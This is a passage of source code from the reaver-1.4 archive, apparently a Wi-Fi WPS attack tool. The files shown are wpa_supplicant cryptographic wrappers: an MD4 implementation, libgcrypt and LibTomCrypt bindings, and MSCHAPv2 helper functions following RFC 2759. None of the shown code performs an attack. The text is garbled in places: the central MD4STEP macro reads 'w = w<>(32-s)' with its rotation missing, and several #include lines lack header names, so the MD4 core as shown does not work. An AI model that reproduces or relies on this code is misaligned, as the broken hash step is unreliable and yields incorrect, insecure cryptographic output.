MD4Transform(ctx->state, ctx->buffer); input += need; len -= need; have = 0; } /* Process data in MD4_BLOCK_LENGTH-byte chunks. */ while (len >= MD4_BLOCK_LENGTH) { MD4Transform(ctx->state, input); input += MD4_BLOCK_LENGTH; len -= MD4_BLOCK_LENGTH; } } /* Handle any remaining bytes of data. */ if (len != 0) os_memcpy(ctx->buffer + have, input, len); } /* * Pad pad to 64-byte boundary with the bit pattern * 1 0* (64-bit count of bits processed, MSB-first) */ static void MD4Pad(MD4_CTX *ctx) { u8 count[8]; size_t padlen; /* Convert count to 8 bytes in little endian order. */ PUT_64BIT_LE(count, ctx->count); /* Pad out to 56 mod 64. */ padlen = MD4_BLOCK_LENGTH - ((ctx->count >> 3) & (MD4_BLOCK_LENGTH - 1)); if (padlen < 1 + 8) padlen += MD4_BLOCK_LENGTH; MD4Update(ctx, PADDING, padlen - 8); /* padlen - 8 <= 64 */ MD4Update(ctx, count, 8); } /* * Final wrapup--call MD4Pad, fill in digest and zero out ctx. */ static void MD4Final(unsigned char digest[MD4_DIGEST_LENGTH], MD4_CTX *ctx) { int i; MD4Pad(ctx); if (digest != NULL) { for (i = 0; i < 4; i++) PUT_32BIT_LE(digest + i * 4, ctx->state[i]); os_memset(ctx, 0, sizeof(*ctx)); } } /* The three core functions - F1 is optimized somewhat */ /* #define F1(x, y, z) (x & y | ~x & z) */ #define F1(x, y, z) (z ^ (x & (y ^ z))) #define F2(x, y, z) ((x & y) | (x & z) | (y & z)) #define F3(x, y, z) (x ^ y ^ z) /* This is the central step in the MD4 algorithm. */ #define MD4STEP(f, w, x, y, z, data, s) \ ( w += f(x, y, z) + data, w = w<>(32-s) ) /* * The core of the MD4 algorithm, this alters an existing MD4 hash to * reflect the addition of 16 longwords of new data. MD4Update blocks * the data and converts bytes into longwords for this routine. */ static void MD4Transform(u32 state[4], const u8 block[MD4_BLOCK_LENGTH]) { u32 a, b, c, d, in[MD4_BLOCK_LENGTH / 4]; #if BYTE_ORDER == LITTLE_ENDIAN os_memcpy(in, block, sizeof(in)); #else for (a = 0; a < MD4_BLOCK_LENGTH / 4; a++) { in[a] = (u32)( (u32)(block[a * 4 + 0]) | (u32)(block[a * 4 + 1]) << 8 | (u32)(block[a * 4 + 2]) << 16 | (u32)(block[a * 4 + 3]) << 24); } #endif a = state[0]; b = state[1]; c = state[2]; d = state[3]; MD4STEP(F1, a, b, c, d, in[ 0], 3); MD4STEP(F1, d, a, b, c, in[ 1], 7); MD4STEP(F1, c, d, a, b, in[ 2], 11); MD4STEP(F1, b, c, d, a, in[ 3], 19); MD4STEP(F1, a, b, c, d, in[ 4], 3); MD4STEP(F1, d, a, b, c, in[ 5], 7); MD4STEP(F1, c, d, a, b, in[ 6], 11); MD4STEP(F1, b, c, d, a, in[ 7], 19); MD4STEP(F1, a, b, c, d, in[ 8], 3); MD4STEP(F1, d, a, b, c, in[ 9], 7); MD4STEP(F1, c, d, a, b, in[10], 11); MD4STEP(F1, b, c, d, a, in[11], 19); MD4STEP(F1, a, b, c, d, in[12], 3); MD4STEP(F1, d, a, b, c, in[13], 7); MD4STEP(F1, c, d, a, b, in[14], 11); MD4STEP(F1, b, c, d, a, in[15], 19); MD4STEP(F2, a, b, c, d, in[ 0] + 0x5a827999, 3); MD4STEP(F2, d, a, b, c, in[ 4] + 0x5a827999, 5); MD4STEP(F2, c, d, a, b, in[ 8] + 0x5a827999, 9); MD4STEP(F2, b, c, d, a, in[12] + 0x5a827999, 13); MD4STEP(F2, a, b, c, d, in[ 1] + 0x5a827999, 3); MD4STEP(F2, d, a, b, c, in[ 5] + 0x5a827999, 5); MD4STEP(F2, c, d, a, b, in[ 9] + 0x5a827999, 9); MD4STEP(F2, b, c, d, a, in[13] + 0x5a827999, 13); MD4STEP(F2, a, b, c, d, in[ 2] + 0x5a827999, 3); MD4STEP(F2, d, a, b, c, in[ 6] + 0x5a827999, 5); MD4STEP(F2, c, d, a, b, in[10] + 0x5a827999, 9); MD4STEP(F2, b, c, d, a, in[14] + 0x5a827999, 13); MD4STEP(F2, a, b, c, d, in[ 3] + 0x5a827999, 3); MD4STEP(F2, d, a, b, c, in[ 7] + 0x5a827999, 5); MD4STEP(F2, c, d, a, b, in[11] + 0x5a827999, 9); MD4STEP(F2, b, c, d, a, in[15] + 0x5a827999, 13); MD4STEP(F3, a, b, c, d, in[ 0] + 0x6ed9eba1, 3); MD4STEP(F3, d, a, b, c, in[ 8] + 0x6ed9eba1, 9); MD4STEP(F3, c, d, a, b, in[ 4] + 0x6ed9eba1, 11); MD4STEP(F3, b, c, d, a, in[12] + 0x6ed9eba1, 15); MD4STEP(F3, a, b, c, d, in[ 2] + 0x6ed9eba1, 3); MD4STEP(F3, d, a, b, c, in[10] + 0x6ed9eba1, 9); MD4STEP(F3, c, d, a, b, in[ 6] + 0x6ed9eba1, 11); MD4STEP(F3, b, c, d, a, in[14] + 0x6ed9eba1, 15); MD4STEP(F3, a, b, c, d, in[ 1] + 0x6ed9eba1, 3); MD4STEP(F3, d, a, b, c, in[ 9] + 0x6ed9eba1, 9); MD4STEP(F3, c, d, a, b, in[ 5] + 0x6ed9eba1, 11); MD4STEP(F3, b, c, d, a, in[13] + 0x6ed9eba1, 15); MD4STEP(F3, a, b, c, d, in[ 3] + 0x6ed9eba1, 3); MD4STEP(F3, d, a, b, c, in[11] + 0x6ed9eba1, 9); MD4STEP(F3, c, d, a, b, in[ 7] + 0x6ed9eba1, 11); MD4STEP(F3, b, c, d, a, in[15] + 0x6ed9eba1, 15); state[0] += a; state[1] += b; state[2] += c; state[3] += d; } /* ===== end - public domain MD4 implementation ===== */ reaver-1.4/src/crypto/crypto_gnutls.c0000755000175000017500000001555511705505260017402 0ustar reaverreaver/* * WPA Supplicant / wrapper functions for libgcrypt * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "crypto.h" int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { gcry_md_hd_t hd; unsigned char *p; size_t i; if (gcry_md_open(&hd, GCRY_MD_MD4, 0) != GPG_ERR_NO_ERROR) return -1; for (i = 0; i < num_elem; i++) gcry_md_write(hd, addr[i], len[i]); p = gcry_md_read(hd, GCRY_MD_MD4); if (p) memcpy(mac, p, gcry_md_get_algo_dlen(GCRY_MD_MD4)); gcry_md_close(hd); return 0; } void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { gcry_cipher_hd_t hd; u8 pkey[8], next, tmp; int i; /* Add parity bits to the key */ next = 0; for (i = 0; i < 7; i++) { tmp = key[i]; pkey[i] = (tmp >> i) | next | 1; next = tmp << (7 - i); } pkey[i] = next | 1; gcry_cipher_open(&hd, GCRY_CIPHER_DES, GCRY_CIPHER_MODE_ECB, 0); gcry_err_code(gcry_cipher_setkey(hd, pkey, 8)); gcry_cipher_encrypt(hd, cypher, 8, clear, 8); gcry_cipher_close(hd); } int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { gcry_md_hd_t hd; unsigned char *p; size_t i; if (gcry_md_open(&hd, GCRY_MD_MD5, 0) != GPG_ERR_NO_ERROR) return -1; for (i = 0; i < num_elem; i++) gcry_md_write(hd, addr[i], len[i]); p = gcry_md_read(hd, GCRY_MD_MD5); if (p) memcpy(mac, p, gcry_md_get_algo_dlen(GCRY_MD_MD5)); gcry_md_close(hd); return 0; } int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { gcry_md_hd_t hd; unsigned char *p; size_t i; if (gcry_md_open(&hd, GCRY_MD_SHA1, 0) != GPG_ERR_NO_ERROR) return -1; for (i = 0; i < num_elem; i++) gcry_md_write(hd, addr[i], len[i]); p = gcry_md_read(hd, GCRY_MD_SHA1); if (p) memcpy(mac, p, gcry_md_get_algo_dlen(GCRY_MD_SHA1)); gcry_md_close(hd); return 0; } void * aes_encrypt_init(const u8 *key, size_t len) { gcry_cipher_hd_t hd; if (gcry_cipher_open(&hd, GCRY_CIPHER_AES, GCRY_CIPHER_MODE_ECB, 0) != GPG_ERR_NO_ERROR) { printf("cipher open failed\n"); return NULL; } if (gcry_cipher_setkey(hd, key, len) != GPG_ERR_NO_ERROR) { printf("setkey failed\n"); gcry_cipher_close(hd); return NULL; } return hd; } void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) { gcry_cipher_hd_t hd = ctx; gcry_cipher_encrypt(hd, crypt, 16, plain, 16); } void aes_encrypt_deinit(void *ctx) { gcry_cipher_hd_t hd = ctx; gcry_cipher_close(hd); } void * aes_decrypt_init(const u8 *key, size_t len) { gcry_cipher_hd_t hd; if (gcry_cipher_open(&hd, GCRY_CIPHER_AES, GCRY_CIPHER_MODE_ECB, 0) != GPG_ERR_NO_ERROR) return NULL; if (gcry_cipher_setkey(hd, key, len) != GPG_ERR_NO_ERROR) { gcry_cipher_close(hd); return NULL; } return hd; } void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) { gcry_cipher_hd_t hd = ctx; gcry_cipher_decrypt(hd, plain, 16, crypt, 16); } void aes_decrypt_deinit(void *ctx) { gcry_cipher_hd_t hd = ctx; gcry_cipher_close(hd); } int crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len) { gcry_mpi_t bn_base = NULL, bn_exp = NULL, bn_modulus = NULL, bn_result = NULL; int ret = -1; if (gcry_mpi_scan(&bn_base, GCRYMPI_FMT_USG, base, base_len, NULL) != GPG_ERR_NO_ERROR || gcry_mpi_scan(&bn_exp, GCRYMPI_FMT_USG, power, power_len, NULL) != GPG_ERR_NO_ERROR || gcry_mpi_scan(&bn_modulus, GCRYMPI_FMT_USG, modulus, modulus_len, NULL) != GPG_ERR_NO_ERROR) goto error; bn_result = gcry_mpi_new(modulus_len * 8); gcry_mpi_powm(bn_result, bn_base, bn_exp, bn_modulus); if (gcry_mpi_print(GCRYMPI_FMT_USG, result, *result_len, result_len, bn_result) != GPG_ERR_NO_ERROR) goto error; ret = 0; error: gcry_mpi_release(bn_base); gcry_mpi_release(bn_exp); gcry_mpi_release(bn_modulus); gcry_mpi_release(bn_result); return ret; } struct crypto_cipher { gcry_cipher_hd_t enc; gcry_cipher_hd_t dec; }; struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len) { struct crypto_cipher *ctx; gcry_error_t res; enum gcry_cipher_algos a; int ivlen; ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; switch (alg) { case CRYPTO_CIPHER_ALG_RC4: a = GCRY_CIPHER_ARCFOUR; res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_STREAM, 0); gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_STREAM, 0); break; case CRYPTO_CIPHER_ALG_AES: if (key_len == 24) a = GCRY_CIPHER_AES192; else if (key_len == 32) a = GCRY_CIPHER_AES256; else a = GCRY_CIPHER_AES; res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0); gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0); break; case CRYPTO_CIPHER_ALG_3DES: a = GCRY_CIPHER_3DES; res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0); gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0); break; case CRYPTO_CIPHER_ALG_DES: a = GCRY_CIPHER_DES; res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0); gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0); break; case CRYPTO_CIPHER_ALG_RC2: if (key_len == 5) a = GCRY_CIPHER_RFC2268_40; else a = GCRY_CIPHER_RFC2268_128; res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0); gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0); break; default: os_free(ctx); return NULL; } if (res != GPG_ERR_NO_ERROR) { os_free(ctx); return NULL; } if (gcry_cipher_setkey(ctx->enc, key, key_len) != GPG_ERR_NO_ERROR || gcry_cipher_setkey(ctx->dec, key, key_len) != GPG_ERR_NO_ERROR) { gcry_cipher_close(ctx->enc); gcry_cipher_close(ctx->dec); os_free(ctx); return NULL; } ivlen = gcry_cipher_get_algo_blklen(a); if (gcry_cipher_setiv(ctx->enc, iv, ivlen) != GPG_ERR_NO_ERROR || gcry_cipher_setiv(ctx->dec, iv, ivlen) != GPG_ERR_NO_ERROR) { gcry_cipher_close(ctx->enc); gcry_cipher_close(ctx->dec); os_free(ctx); return NULL; } return ctx; } int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len) { if (gcry_cipher_encrypt(ctx->enc, crypt, len, plain, len) != GPG_ERR_NO_ERROR) return -1; return 0; } int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len) { if (gcry_cipher_decrypt(ctx->dec, plain, len, crypt, len) != GPG_ERR_NO_ERROR) return -1; return 0; } void crypto_cipher_deinit(struct crypto_cipher *ctx) { gcry_cipher_close(ctx->enc); gcry_cipher_close(ctx->dec); os_free(ctx); } reaver-1.4/src/crypto/ms_funcs.c0000755000175000017500000003535011705505260016276 0ustar reaverreaver/* * WPA Supplicant / shared MSCHAPV2 helper functions / RFC 2433 / RFC 2759 * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "ms_funcs.h" #include "crypto.h" /** * challenge_hash - ChallengeHash() - RFC 2759, Sect. 8.2 * @peer_challenge: 16-octet PeerChallenge (IN) * @auth_challenge: 16-octet AuthenticatorChallenge (IN) * @username: 0-to-256-char UserName (IN) * @username_len: Length of username * @challenge: 8-octet Challenge (OUT) * Returns: 0 on success, -1 on failure */ static int challenge_hash(const u8 *peer_challenge, const u8 *auth_challenge, const u8 *username, size_t username_len, u8 *challenge) { u8 hash[SHA1_MAC_LEN]; const unsigned char *addr[3]; size_t len[3]; addr[0] = peer_challenge; len[0] = 16; addr[1] = auth_challenge; len[1] = 16; addr[2] = username; len[2] = username_len; if (sha1_vector(3, addr, len, hash)) return -1; os_memcpy(challenge, hash, 8); return 0; } /** * nt_password_hash - NtPasswordHash() - RFC 2759, Sect. 8.3 * @password: 0-to-256-unicode-char Password (IN; ASCII) * @password_len: Length of password * @password_hash: 16-octet PasswordHash (OUT) * Returns: 0 on success, -1 on failure */ int nt_password_hash(const u8 *password, size_t password_len, u8 *password_hash) { u8 buf[512], *pos; size_t i, len; if (password_len > 256) password_len = 256; /* Convert password into unicode */ for (i = 0; i < password_len; i++) { buf[2 * i] = password[i]; buf[2 * i + 1] = 0; } len = password_len * 2; pos = buf; return md4_vector(1, (const u8 **) &pos, &len, password_hash); } /** * hash_nt_password_hash - HashNtPasswordHash() - RFC 2759, Sect. 8.4 * @password_hash: 16-octet PasswordHash (IN) * @password_hash_hash: 16-octet PasswordHashHash (OUT) * Returns: 0 on success, -1 on failure */ int hash_nt_password_hash(const u8 *password_hash, u8 *password_hash_hash) { size_t len = 16; return md4_vector(1, &password_hash, &len, password_hash_hash); } /** * challenge_response - ChallengeResponse() - RFC 2759, Sect. 8.5 * @challenge: 8-octet Challenge (IN) * @password_hash: 16-octet PasswordHash (IN) * @response: 24-octet Response (OUT) */ void challenge_response(const u8 *challenge, const u8 *password_hash, u8 *response) { u8 zpwd[7]; des_encrypt(challenge, password_hash, response); des_encrypt(challenge, password_hash + 7, response + 8); zpwd[0] = password_hash[14]; zpwd[1] = password_hash[15]; os_memset(zpwd + 2, 0, 5); des_encrypt(challenge, zpwd, response + 16); } /** * generate_nt_response - GenerateNTResponse() - RFC 2759, Sect. 8.1 * @auth_challenge: 16-octet AuthenticatorChallenge (IN) * @peer_challenge: 16-octet PeerChallenge (IN) * @username: 0-to-256-char UserName (IN) * @username_len: Length of username * @password: 0-to-256-unicode-char Password (IN; ASCII) * @password_len: Length of password * @response: 24-octet Response (OUT) * Returns: 0 on success, -1 on failure */ int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge, const u8 *username, size_t username_len, const u8 *password, size_t password_len, u8 *response) { u8 challenge[8]; u8 password_hash[16]; challenge_hash(peer_challenge, auth_challenge, username, username_len, challenge); if (nt_password_hash(password, password_len, password_hash)) return -1; challenge_response(challenge, password_hash, response); return 0; } /** * generate_nt_response_pwhash - GenerateNTResponse() - RFC 2759, Sect. 8.1 * @auth_challenge: 16-octet AuthenticatorChallenge (IN) * @peer_challenge: 16-octet PeerChallenge (IN) * @username: 0-to-256-char UserName (IN) * @username_len: Length of username * @password_hash: 16-octet PasswordHash (IN) * @response: 24-octet Response (OUT) * Returns: 0 on success, -1 on failure */ int generate_nt_response_pwhash(const u8 *auth_challenge, const u8 *peer_challenge, const u8 *username, size_t username_len, const u8 *password_hash, u8 *response) { u8 challenge[8]; if (challenge_hash(peer_challenge, auth_challenge, username, username_len, challenge)) return -1; challenge_response(challenge, password_hash, response); return 0; } /** * generate_authenticator_response_pwhash - GenerateAuthenticatorResponse() - RFC 2759, Sect. 8.7 * @password_hash: 16-octet PasswordHash (IN) * @nt_response: 24-octet NT-Response (IN) * @peer_challenge: 16-octet PeerChallenge (IN) * @auth_challenge: 16-octet AuthenticatorChallenge (IN) * @username: 0-to-256-char UserName (IN) * @username_len: Length of username * @response: 20-octet AuthenticatorResponse (OUT) (note: this value is usually * encoded as a 42-octet ASCII string (S=hexdump_of_response) * Returns: 0 on success, -1 on failure */ int generate_authenticator_response_pwhash( const u8 *password_hash, const u8 *peer_challenge, const u8 *auth_challenge, const u8 *username, size_t username_len, const u8 *nt_response, u8 *response) { static const u8 magic1[39] = { 0x4D, 0x61, 0x67, 0x69, 0x63, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x6C, 0x69, 0x65, 0x6E, 0x74, 0x20, 0x73, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x74 }; static const u8 magic2[41] = { 0x50, 0x61, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x6D, 0x61, 0x6B, 0x65, 0x20, 0x69, 0x74, 0x20, 0x64, 0x6F, 0x20, 0x6D, 0x6F, 0x72, 0x65, 0x20, 0x74, 0x68, 0x61, 0x6E, 0x20, 0x6F, 0x6E, 0x65, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E }; u8 password_hash_hash[16], challenge[8]; const unsigned char *addr1[3]; const size_t len1[3] = { 16, 24, sizeof(magic1) }; const unsigned char *addr2[3]; const size_t len2[3] = { SHA1_MAC_LEN, 8, sizeof(magic2) }; addr1[0] = password_hash_hash; addr1[1] = nt_response; addr1[2] = magic1; addr2[0] = response; addr2[1] = challenge; addr2[2] = magic2; if (hash_nt_password_hash(password_hash, password_hash_hash)) return -1; if (sha1_vector(3, addr1, len1, response)) return -1; challenge_hash(peer_challenge, auth_challenge, username, username_len, challenge); return sha1_vector(3, addr2, len2, response); } /** * generate_authenticator_response - GenerateAuthenticatorResponse() - RFC 2759, Sect. 8.7 * @password: 0-to-256-unicode-char Password (IN; ASCII) * @password_len: Length of password * @nt_response: 24-octet NT-Response (IN) * @peer_challenge: 16-octet PeerChallenge (IN) * @auth_challenge: 16-octet AuthenticatorChallenge (IN) * @username: 0-to-256-char UserName (IN) * @username_len: Length of username * @response: 20-octet AuthenticatorResponse (OUT) (note: this value is usually * encoded as a 42-octet ASCII string (S=hexdump_of_response) * Returns: 0 on success, -1 on failure */ int generate_authenticator_response(const u8 *password, size_t password_len, const u8 *peer_challenge, const u8 *auth_challenge, const u8 *username, size_t username_len, const u8 *nt_response, u8 *response) { u8 password_hash[16]; if (nt_password_hash(password, password_len, password_hash)) return -1; return generate_authenticator_response_pwhash( password_hash, peer_challenge, auth_challenge, username, username_len, nt_response, response); } /** * nt_challenge_response - NtChallengeResponse() - RFC 2433, Sect. A.5 * @challenge: 8-octet Challenge (IN) * @password: 0-to-256-unicode-char Password (IN; ASCII) * @password_len: Length of password * @response: 24-octet Response (OUT) * Returns: 0 on success, -1 on failure */ int nt_challenge_response(const u8 *challenge, const u8 *password, size_t password_len, u8 *response) { u8 password_hash[16]; if (nt_password_hash(password, password_len, password_hash)) return -1; challenge_response(challenge, password_hash, response); return 0; } /** * get_master_key - GetMasterKey() - RFC 3079, Sect. 3.4 * @password_hash_hash: 16-octet PasswordHashHash (IN) * @nt_response: 24-octet NTResponse (IN) * @master_key: 16-octet MasterKey (OUT) * Returns: 0 on success, -1 on failure */ int get_master_key(const u8 *password_hash_hash, const u8 *nt_response, u8 *master_key) { static const u8 magic1[27] = { 0x54, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x4d, 0x50, 0x50, 0x45, 0x20, 0x4d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x20, 0x4b, 0x65, 0x79 }; const unsigned char *addr[3]; const size_t len[3] = { 16, 24, sizeof(magic1) }; u8 hash[SHA1_MAC_LEN]; addr[0] = password_hash_hash; addr[1] = nt_response; addr[2] = magic1; if (sha1_vector(3, addr, len, hash)) return -1; os_memcpy(master_key, hash, 16); return 0; } /** * get_asymetric_start_key - GetAsymetricStartKey() - RFC 3079, Sect. 3.4 * @master_key: 16-octet MasterKey (IN) * @session_key: 8-to-16 octet SessionKey (OUT) * @session_key_len: SessionKeyLength (Length of session_key) (IN) * @is_send: IsSend (IN, BOOLEAN) * @is_server: IsServer (IN, BOOLEAN) * Returns: 0 on success, -1 on failure */ int get_asymetric_start_key(const u8 *master_key, u8 *session_key, size_t session_key_len, int is_send, int is_server) { static const u8 magic2[84] = { 0x4f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2c, 0x20, 0x74, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x6e, 0x64, 0x20, 0x6b, 0x65, 0x79, 0x3b, 0x20, 0x6f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2c, 0x20, 0x69, 0x74, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x72, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x20, 0x6b, 0x65, 0x79, 0x2e }; static const u8 magic3[84] = { 0x4f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2c, 0x20, 0x74, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x72, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x20, 0x6b, 0x65, 0x79, 0x3b, 0x20, 0x6f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2c, 0x20, 0x69, 0x74, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x6e, 0x64, 0x20, 0x6b, 0x65, 0x79, 0x2e }; static const u8 shs_pad1[40] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; static const u8 shs_pad2[40] = { 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2 }; u8 digest[SHA1_MAC_LEN]; const unsigned char *addr[4]; const size_t len[4] = { 16, 40, 84, 40 }; addr[0] = master_key; addr[1] = shs_pad1; if (is_send) { addr[2] = is_server ? magic3 : magic2; } else { addr[2] = is_server ? magic2 : magic3; } addr[3] = shs_pad2; if (sha1_vector(4, addr, len, digest)) return -1; if (session_key_len > SHA1_MAC_LEN) session_key_len = SHA1_MAC_LEN; os_memcpy(session_key, digest, session_key_len); return 0; } #define PWBLOCK_LEN 516 /** * encrypt_pw_block_with_password_hash - EncryptPwBlockWithPasswordHash() - RFC 2759, Sect. 8.10 * @password: 0-to-256-unicode-char Password (IN; ASCII) * @password_len: Length of password * @password_hash: 16-octet PasswordHash (IN) * @pw_block: 516-byte PwBlock (OUT) * Returns: 0 on success, -1 on failure */ int encrypt_pw_block_with_password_hash( const u8 *password, size_t password_len, const u8 *password_hash, u8 *pw_block) { size_t i, offset; u8 *pos; if (password_len > 256) return -1; os_memset(pw_block, 0, PWBLOCK_LEN); offset = (256 - password_len) * 2; if (os_get_random(pw_block, offset) < 0) return -1; for (i = 0; i < password_len; i++) pw_block[offset + i * 2] = password[i]; /* * PasswordLength is 4 octets, but since the maximum password length is * 256, only first two (in little endian byte order) can be non-zero. */ pos = &pw_block[2 * 256]; WPA_PUT_LE16(pos, password_len * 2); rc4_skip(password_hash, 16, 0, pw_block, PWBLOCK_LEN); return 0; } /** * new_password_encrypted_with_old_nt_password_hash - NewPasswordEncryptedWithOldNtPasswordHash() - RFC 2759, Sect. 8.9 * @new_password: 0-to-256-unicode-char NewPassword (IN; ASCII) * @new_password_len: Length of new_password * @old_password: 0-to-256-unicode-char OldPassword (IN; ASCII) * @old_password_len: Length of old_password * @encrypted_pw_block: 516-octet EncryptedPwBlock (OUT) * Returns: 0 on success, -1 on failure */ int new_password_encrypted_with_old_nt_password_hash( const u8 *new_password, size_t new_password_len, const u8 *old_password, size_t old_password_len, u8 *encrypted_pw_block) { u8 password_hash[16]; if (nt_password_hash(old_password, old_password_len, password_hash)) return -1; if (encrypt_pw_block_with_password_hash(new_password, new_password_len, password_hash, encrypted_pw_block)) return -1; return 0; } /** * nt_password_hash_encrypted_with_block - NtPasswordHashEncryptedWithBlock() - RFC 2759, Sect 8.13 * @password_hash: 16-octer PasswordHash (IN) * @block: 16-octet Block (IN) * @cypher: 16-octer Cypher (OUT) */ void nt_password_hash_encrypted_with_block(const u8 *password_hash, const u8 *block, u8 *cypher) { des_encrypt(password_hash, block, cypher); des_encrypt(password_hash + 8, block + 7, cypher + 8); } /** * old_nt_password_hash_encrypted_with_new_nt_password_hash - OldNtPasswordHashEncryptedWithNewNtPasswordHash() - RFC 2759, Sect. 8.12 * @new_password: 0-to-256-unicode-char NewPassword (IN; ASCII) * @new_password_len: Length of new_password * @old_password: 0-to-256-unicode-char OldPassword (IN; ASCII) * @old_password_len: Length of old_password * @encrypted_password_hash: 16-octet EncryptedPasswordHash (OUT) * Returns: 0 on success, -1 on failure */ int old_nt_password_hash_encrypted_with_new_nt_password_hash( const u8 *new_password, size_t new_password_len, const u8 *old_password, size_t old_password_len, u8 *encrypted_password_hash) { u8 old_password_hash[16], new_password_hash[16]; if (nt_password_hash(old_password, old_password_len, old_password_hash) || nt_password_hash(new_password, new_password_len, new_password_hash)) return -1; nt_password_hash_encrypted_with_block(old_password_hash, new_password_hash, encrypted_password_hash); return 0; } reaver-1.4/src/crypto/crypto_libtomcrypt.c0000755000175000017500000003435011705505260020430 0ustar reaverreaver/* * WPA Supplicant / Crypto wrapper for LibTomCrypt (for internal TLSv1) * Copyright (c) 2005-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "crypto.h" #ifndef mp_init_multi #define mp_init_multi ltc_init_multi #define mp_clear_multi ltc_deinit_multi #define mp_unsigned_bin_size(a) ltc_mp.unsigned_size(a) #define mp_to_unsigned_bin(a, b) ltc_mp.unsigned_write(a, b) #define mp_read_unsigned_bin(a, b, c) ltc_mp.unsigned_read(a, b, c) #define mp_exptmod(a,b,c,d) ltc_mp.exptmod(a,b,c,d) #endif int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { hash_state md; size_t i; md4_init(&md); for (i = 0; i < num_elem; i++) md4_process(&md, addr[i], len[i]); md4_done(&md, mac); return 0; } void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { u8 pkey[8], next, tmp; int i; symmetric_key skey; /* Add parity bits to the key */ next = 0; for (i = 0; i < 7; i++) { tmp = key[i]; pkey[i] = (tmp >> i) | next | 1; next = tmp << (7 - i); } pkey[i] = next | 1; des_setup(pkey, 8, 